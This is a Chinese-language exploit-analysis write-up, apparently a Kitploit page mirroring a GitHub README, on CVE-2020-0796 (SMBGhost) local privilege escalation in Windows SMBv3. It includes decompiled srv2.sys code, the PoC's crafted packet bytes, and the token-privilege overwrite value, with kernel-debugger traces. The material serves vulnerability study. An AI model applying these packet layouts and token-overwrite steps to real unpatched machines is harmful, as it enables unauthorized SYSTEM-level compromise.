Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-0796 — 技术分析和概念验证针对CVE-2020-0796(SMBGhost),这是SMBv3压缩中的一个整数溢出漏洞,可导致Windows 10/Server上的本地权限提升。 | Kitploit
工具/GitHubGitHub/datntsec/cve-2020-0796
权限提升漏洞分析漏洞利用二进制利用
GitHubdatntsec/cve-2020-0796

CVE-2020-0796

技术分析和概念验证针对CVE-2020-0796(SMBGhost),这是SMBv3压缩中的一个整数溢出漏洞,可导致Windows 10/Server上的本地权限提升。

查看仓库
145年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
# CVE-2020-0796
-----------

# 概述:
SMBv3从Windows 10/Server版本1903开始添加的压缩功能存在整数溢出漏洞,微软于2020年3月12日确认。攻击者可以利用该漏洞实现本地权限提升(LPE)和远程代码执行(RCE)。此处仅讨论LPE漏洞。

**受影响版本**:
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows Server, version 1909 (Server Core installation)

# SMB解压缩过程分析:
分析`srv2.sys`文件,发现与解压缩相关的函数调用如下:``` js
    Srv2ReceiveHandler
            |
            |
            v
Srv2DecompressMessageAsync
            |
            |
            v
    Srv2DecompressData  ------->  SrvNetAllocateBuffer
            |
            |
            v
 SmbCompressionDecompress
 	    |
	    |
	    v
	memcpy
 ```
首先调用函数 `Srv2ReceiveHandler` 来接收一个 smb 数据包,并根据协议 `ProtocolId` 调用相应的函数。如果 `PrococolId` = 0x424D53FC,则会调用函数 `Srv2DecompressMessageAsync`,该函数会进一步调用 `Srv2DecompressData` 来解压数据包。函数 `Srv2DecompressData` 会调用 `SrvNetAllocateBuffer` 来分配一个 `Alloc` 用于存储解压后的数据,然后调用 `SmbCompressionDecompress` 进行解压,最后调用 `memcpy`。因此整个解压过程包括以下主要步骤:
- 1. Allocate
- 2. Decompress
- 3. Copy

根据 Microsoft 提供的文档,结构体 `COMPRESSION_TRANSFORM_HEADER` 用于在客户端和服务器之间发送和接收压缩数据。其结构如下:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
    ULONG ProtocolId;
    ULONG OriginalCompressedSegmentSize;
    USHORT CompressionAlgorithm;
    USHORT Flags;
    ULONG Offset;
} ;
```
这里我们只关注上面的两个主要字段:
- `OriginalCompressedSegmentSize` 是未压缩数据段的大小,以字节为单位。
- `Offset` 是压缩数据起始点与 `_COMPRESSION_TRANSFORM_HEADER` 结构结束点之间的字节偏移量。

因此,压缩数据包的形式如下:

![](https://assets.kitploit.com/production/public/readmes/24501/8b366038292f134d2614885cede7c2ddac13cecadfd57071e26622c922d9f7cf.png)``` c
typedef struct _ALLOCATION_HEADER
{
    // ...
    PVOID UserBuffer;
    // ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
 
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
    PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
        NULL);
    If (!Alloc) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
 
    ULONG FinalCompressedSize = 0;
 
    NTSTATUS Status = SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
    }
 
    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }
 
    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    return STATUS_SUCCESS;
}
```
分析函数 `Srv2DecompressData`,发现该函数接收一个压缩数据包 `COMPRESSION_TRANSFORM_HEADER`(头部),然后通过 `SrvNetAllocateBuffer` 函数分配一块内存(Alloc),参数为 `Header->OriginalCompressedSegmentSize` + `Header->Offset` 的总和,随后解压压缩数据并将未压缩的数据复制到 `Alloc->Buffer` 中。

![](https://assets.kitploit.com/production/public/readmes/24501/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

当 `Srv2DecompressData` 调用 `SrvNetAllocateBuffer` 时会发生整数溢出错误,`SrvNetAllocateBuffer` 实际上接收两个 64 位值,但在调用 `SrvNetAllocateBuffer` 时,`Srv2DecompressData` 仅传入两个 32 位值(ULONG)。而 `OriginalCompressedSegmentSize` 和 `Offset` 都是 ULONG 类型,当它们相加时,可能产生超过 32 位的数值。因此导致整数溢出错误(简单来说就是,将 0xffffffff(`OriginalCompressedSegmentSize`)与 0x10(`Offset`)相加会得到 0xf0000000f,但 `SrvNetAllocateBuffer` 只接收到 0x0000000f)。

![](https://assets.kitploit.com/production/public/readmes/24501/5ef540fac05ff782b005994410e1c43f18c0503fd134a57e1e6ed50c1fbc8219.png)

整数溢出错误会导致 Alloc 内存分配错误(实际所需分配的大小小于实际大小),从而可能引发缓冲区溢出错误:
![](https://assets.kitploit.com/production/public/readmes/24501/24c32abbbd764c35df1e73a00b5844711af77018cb54942a9738f5c9cac7ce4a.png)

为了解缓冲区溢出是否发生以及如何发生,我们将分析 `SrvNetAllocateBuffer` 和 `SmbCompressionDecompress` 函数。``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
  v3 = 0;
  v4 = a2;
  v5 = 0;
  if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
  {
    if ( allocSize > 0x1000100 )
      return 0i64;
    v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
  }
  else
  {
    if ( allocSize > 0x1100 )
    {
      _RCX = allocSize - 256;
      __asm
      {
        bsr     rdx, rcx
        bsf     rax, rcx
      }
      if ( (_DWORD)_RDX == (_DWORD)_RAX )
        v3 = _RDX - 12;
      else
        v3 = _RDX - 11;
    }
    v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
    v7 = *(_DWORD *)v6 - 1;
    if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
      v7 = (unsigned __int16)v2 + 1;
    v8 = (unsigned int)v7;
    v9 = *(_QWORD *)(v6 + 32);
    v10 = *(_QWORD *)(v9 + 8 * v8);
    if ( !*(_BYTE *)(v10 + 0x70) )
      PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
    ++*(_DWORD *)(v10 + 20);
    v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
    if ( !v11 )
    {
      ++*(_DWORD *)(v10 + 24);
      v12 = *(_DWORD *)(v10 + 44);
      v13 = *(_DWORD *)(v10 + 40);
      v14 = *(_DWORD *)(v10 + 36);
      LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
      v11 = v15;
    }
    v5 = 2;
  }
  if ( v11 )
  {
    *(_WORD *)(v11 + 0x10) |= v5;
    *(_WORD *)(v11 + 0x12) = v3;
    *(_WORD *)(v11 + 0x14) = v2;
    if ( v4 )
    {
      v24 = *(_DWORD *)(v4 + 0x24);
      if ( v24 >= *(_DWORD *)(v11 + 0x20) )
        v24 = *(_DWORD *)(v11 + 0x20);
      v25 = *(void **)(v11 + 0x18);
      *(_DWORD *)(v11 + 0x24) = v24;
      memcpy(v25, *(const void **)(v4 + 0x18), v24);
      v26 = *(_WORD *)(v4 + 0x16);
      if ( v26 )
      {
        *(_WORD *)(v11 + 0x16) = v26;
        memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
      }
    }
    else
    {
      *(_DWORD *)(v11 + 36) = 0;
    }
  }
  return v11;
}
```
上面的代码来自IDA Pro的伪代码,看起来相当难以理解。然而,我们可以通过查看由[Zecops](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)重写的代码来简单理解:``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
    // ...
 
    if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
        if (AllocSize > 0x1000100) {
            return NULL;
        }
        Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
    } else {
        int LookasideListIndex = 0;
        if (AllocSize > 0x1100) {
            LookasideListIndex = /* some calculation based on AllocSize */;
        }
 
        SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
        Result = /* fetch result from list */;
    }
 
    // Initialize some Result fields...
 
    return Result;
}
```
函数`SrvNetAllocateBuffer`接收需要分配的大小,然后检查该大小是否大于0x100100,如果大于则返回NULL。该函数还检查变量`SrvDisableNetBufferLookAsideList`,然而,我没有找到任何关于此变量的文档,并且它默认设置为0,所以可能不太重要。

如果条件满足,函数将继续根据输入的AllocSize计算一个索引值,然后根据计算出的索引从数组`SrvNetBufferLookasides`(该数组有9个元素)中取出一个值并进行分配。从汇编代码中,Zecops使用`python`计算出了每个索引对应的大小:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
```
因此,对于小于或等于0x1100大小的分配请求,函数将分配大小为0x1100的内存区域;对于大于0x1100且小于或等于0x2100大小的分配请求,函数将分配大小为0x2100的内存区域;更大分配请求的情况以此类推。

分配完成后,函数将返回一个地址,该地址存储了一个由Zcops命名为 `ALLOCATION_HEADER` 的结构体。根据研究,该结构体包含的数据如下:
![](https://assets.kitploit.com/production/public/readmes/24501/ac6b1cefeb46070bc78b172fd42718f98b0512fcb9e47c9395c31af0dc493d4b.png)

有趣的一点是,`ALLOCATION_HEADER` 恰好位于 `ALLOCATION_HEADER->UserBuffer` 的正下方,如果能够对 `UserBuffer` 进行缓冲区溢出,我们就可以向 `ALLOCATION_HEADER` 写入任意值。

![](https://assets.kitploit.com/production/public/readmes/24501/9f4e2487fa92551e7a675a9cd02112dd3d7a378cd7aaadf3255abdac2208dff9.png)


接下来我们看看 `SmbCompressionDecompress` 函数做了什么:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
  PVOID v6; // rdi@1
  __int64 v7; // r14@1
  __int64 v8; // r15@1
  int v9; // ebx@2
  int v10; // ecx@3
  int v11; // ecx@4
  signed __int16 v12; // bx@6
  __int64 v13; // rsi@12
  unsigned int v14; // ebp@12
  int v16; // [sp+40h] [bp-28h]@1
  SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1

  v16 = 0;
  v6 = 0i64;
  LODWORD(NumberOfBytes) = 0;
  v7 = AllocUserbufferDecompress;
  v8 = DataCompressed;
  if ( !CompressionAlgorithm )
    goto LABEL_2;
  v10 = CompressionAlgorithm - 1;
  if ( v10 )
  {
    v11 = v10 - 1;
    if ( v11 )
    {
      if ( v11 != 1 )
      {
LABEL_2:
        v9 = 0xC00000BB;
        return (unsigned int)v9;
      }
      v12 = 4;
    }
    else
    {
      v12 = 3;
    }
  }
  else
  {
    v12 = 2;
  }
  if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0
    || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 )
  {
    v13 = FinalCompressedSize;
    v14 = OriginalCompressedSegmentSize;
    v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8);
    if ( v9 >= 0 )
      *(_DWORD *)v13 = v14;
    if ( v6 )
      ExFreePoolWithTag(v6, 0x2532534Cu);
  }
  else
  {
    v9 = 0xC000009A;
  }
  return (unsigned int)v9;
}
```
上面的代码是从IDA的伪代码中提取的,如果你不理解上面的代码做什么,可以查看由Zecops重写的代码:``` c
NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...
 
    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }
 
    // ...
 
    return Status;
}
```
此函数基本执行解压被压缩的数据,并将其存入 `Alloc->UserBuffer` + `Offset`。若解压成功,参数 `FinalCompressedSize` 将被赋值为参数 `CompressedBufferSize`,即从 `Srv2DecompressData` 函数传入的 `OriginalCompressedSegmentSize` 值。

回到 `Srv2DecompressData` 函数,在执行 `SmbCompressionDecompress` 函数后,该函数将继续比较 `FinalCompressedSize` 与 `OriginalCompressedSegmentSize` 是否相等,并且返回的 `Status` 是否 < 0。``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
        SrvNetFreeBuffer(Alloc);
        return STATUS_BAD_DATA;
}
```
正如上文所述,如果解压成功,则`FinalCompressedSize`和`OriginalCompressedSegmentSize`相等,并且返回的`Status`大于或等于0。因此,如果解压成功,则上面if函数中的代码将不会被执行。我们将继续分析接下来的代码:``` c
if (Header->Offset > 0) {
        memcpy( // copy raw data into UserBuffer 
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
}
```
这段代码将检查`Header->Offset` > 0。`Offset`的值是压缩数据区域与`Header`末尾之间的偏移量,对应于未压缩数据区域的大小。然后调用`memcpy`函数将未压缩数据区域复制到`Alloc->UserBuffer`的开头。

因此,如果可以利用缓冲区溢出漏洞,通过覆盖`Alloc Header`区域来改变`Alloc->UserBuffer`指针的值,使其指向地址A,那么地址A将包含客户端发送的未解压数据。为了更清楚,我们将分析Daniel García Gutiérrez ([@danigargu](https://twitter.com/danigargu)) 和 Manuel Blanco Parajón ([@dialluvioso_](https://twitter.com/dialluvioso_)) 的[POC](https://github.com/danigargu/CVE-2020-0796),然后进行调试以更好地理解。

# 分析POC:
POC执行以下操作:
- 获取自身的令牌。
- 创建一个大小为0x1110的`buffer`数组,在数组开头存储0x1108个字符'A',然后存储上面获取的`[Token + 0x40]`值。这样做的目的我们稍后解释。
- 压缩`buffer`数组中的数据并存储到`compressed_buffer`数组中。
- 创建一个包含如下数据的`buf`数组:``` c
  const uint8_t buf[] = {
		/* NetBIOS Wrapper */
		0x00,
		0x00, 0x00, 0x33,

		/* SMB Header */
		0xFC, 0x53, 0x4D, 0x42, /* protocol id */
		0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
		0x02, 0x00,             /* compression algorithm, LZ77 */
		0x00, 0x00,             /* flags */
		0x10, 0x00, 0x00, 0x00, /* offset */
	};
```
- 然后创建一个大小为 `sizeof(buf) + 0x10 + len` 的数组 `packet`,其中 `len` 是上述压缩后的 `buffer` 大小(`compressed_buffer` 的**数据**大小)。
- 将数组 `buf` 的数据复制到 `packet` 中,接着将值 `0x1FF2FFFFBC` 复制进去,然后将数组 `compressed_buffer` 的数据复制进去:``` c
  memcpy(packet, buf, sizeof(buf));
	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
	memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
```
- 发送 `packet` 到 SMB 服务器。
- 完成上一步后,POC 程序已提权至 system,接着 POC 会 OpenProcess winlogon.exe 并注入打开的 cmd shellcode。

下面我将解释上述 POC 中提到的关键点。

为什么需要创建大小为 0x1110 字节的 `buffer` 数组,并在其中存储 0x1108 个字符 A 和一个值 `[token + 0x40]`。总体而言,此 POC 的目的是利用 `SMB` 中的函数来修改自身 `token->Privileges` 的值(`[Token + 0x40]`)。

在 SMB 头部中,我们需要关注原始解压大小和偏移量,其值分别为 0xffffffff 和 0x00000010。目的是让 SMB 发生整数溢出漏洞,从而分配一个大小仅为 0x1100 的 `Alloc->Buffer` 数组(< 0x1110 + 原始数据大小)。

值 `0x1FF2FFFFBC` 存储在头部之后的 0x10 字节处,这是 SYSTEM 进程的 `token->Privileges->Present` 和 `token->Privileges->Enabled` 中存储的值,对应地,如果某个进程的 `token->Privileges->Present` 和 `token->Privileges->Enabled` 等于 `0x1FF2FFFFBC`,则该进程将拥有 SYSTEM 进程的权限。

根据上述信息,我们可以推断出 POC 试图让 SMB 中的函数将其自身的 `token->Privileges->Present` 和 `token->Privileges->Enabled` 修改为 `0x1FF2FFFFBC`。要确切了解,我们将进入内核调试部分。

# Debug Kernel
首先,我们在函数 `Srv2DecompressData` 的入口处设置断点。``` 
0: kd> bm srv2!Srv2DecompressData
  1: fffff807`17c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
     1 e Disable Clear  fffff807`17c47e60     0001 (0001) srv2!Srv2DecompressData
```
然后运行POC,函数 `Srv2DecompressData` 将被调用,内核将停在函数 `srv2!Srv2DecompressData` 的开头。

接下来查看Header的数据:``` 
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10  424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20  f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30  403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40  00ffffae 00000000 00000000 00000000
```
这是POC发送到SMB的`packet`数组数据,如上述POC分析所示,前0x10字节是SMB Header部分,接下来的0x10字节包含两次`0x1FF2FFFFBC`值,是原始数据区域,再接下来的0x13字节是已压缩的缓冲区数据。因此Header的总大小为0x33字节。

接下来调用`SrvNetAllocateBuffer`函数,查看传入的参数,确实验证了`SrvNetAllocateBuffer`函数接收参数`0xf`和`null`。

![](https://assets.kitploit.com/production/public/readmes/24501/e3d92d3bab5a495270c62861d9e8c74d3920164b95b570358c771bbc3dc60289.png)

`SrvNetAllocateBuffer`函数的返回值是一个指向`ALLOCATION_HEADER`结构体的指针(按照本文的称呼)。```
1: kd> dd rax
ffffd10e`94729150  ca9a7573 417b1178 32fe5f70 dc85f193
ffffd10e`94729160  00000002 00000001 94728050 ffffd10e
ffffd10e`94729170  00001100 00000000 00001278 75881029
```
![](https://assets.kitploit.com/production/public/readmes/24501/e3a63fc2fa82d7b9a33041a4476fa6ffb5dccc8901448378bea85d7f2834e0a2.png)

接下来,函数 `SmbCompressionDecompress` 将被调用,它将解压缩并将解压后的数据写入 `Alloc->Buffer + Header -> Offset````
1: kd> dd ffffd10e94728050
ffffd10e`94728050  1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060  41414141 41414141 41414141 41414141
ffffd10e`94728070  41414141 41414141 41414141 41414141
...
ffffd10e`94729150  41414141 41414141 41414141 41414141
ffffd10e`94729160  41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170  00001100 00000000 00001278 75881029

1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : 0x00000006`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x40800000

```
![](https://assets.kitploit.com/production/public/readmes/24501/da878ea0cc8c9918d2d8f0f2c3d368fe608c4567eb331f6089068e0d55eb7f0f.png)

此时 `Alloc->Buffer` 已被覆盖为地址 `[Token + 0x40]`。函数 `Srv2DecompressData` 调用 `memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset);` 将原始数据复制到 `Alloc->UserBuffer`。然而 `Alloc->UserBuffer` 已被覆盖为 `Token->Privileges`,因此原始数据将被写入 `Token->Privileges`:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : 0x0000001f`f2ffffbc
   +0x008 Enabled          : 0x0000001f`f2ffffbc
   +0x010 EnabledByDefault : 0x40800000
```
![](https://assets.kitploit.com/production/public/readmes/24501/be25e63dd205f4b2660e0cf51254f0801a5574fc20c90cbf1633364dff732026.png)

在此,POC程序已获得SYSTEM权限,下一步是打开一个SYSTEM程序(winlogon.exe)并注入shellcode以打开cmd。

# 参考资料
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)

[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)

[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)

[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)

<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>
下载工具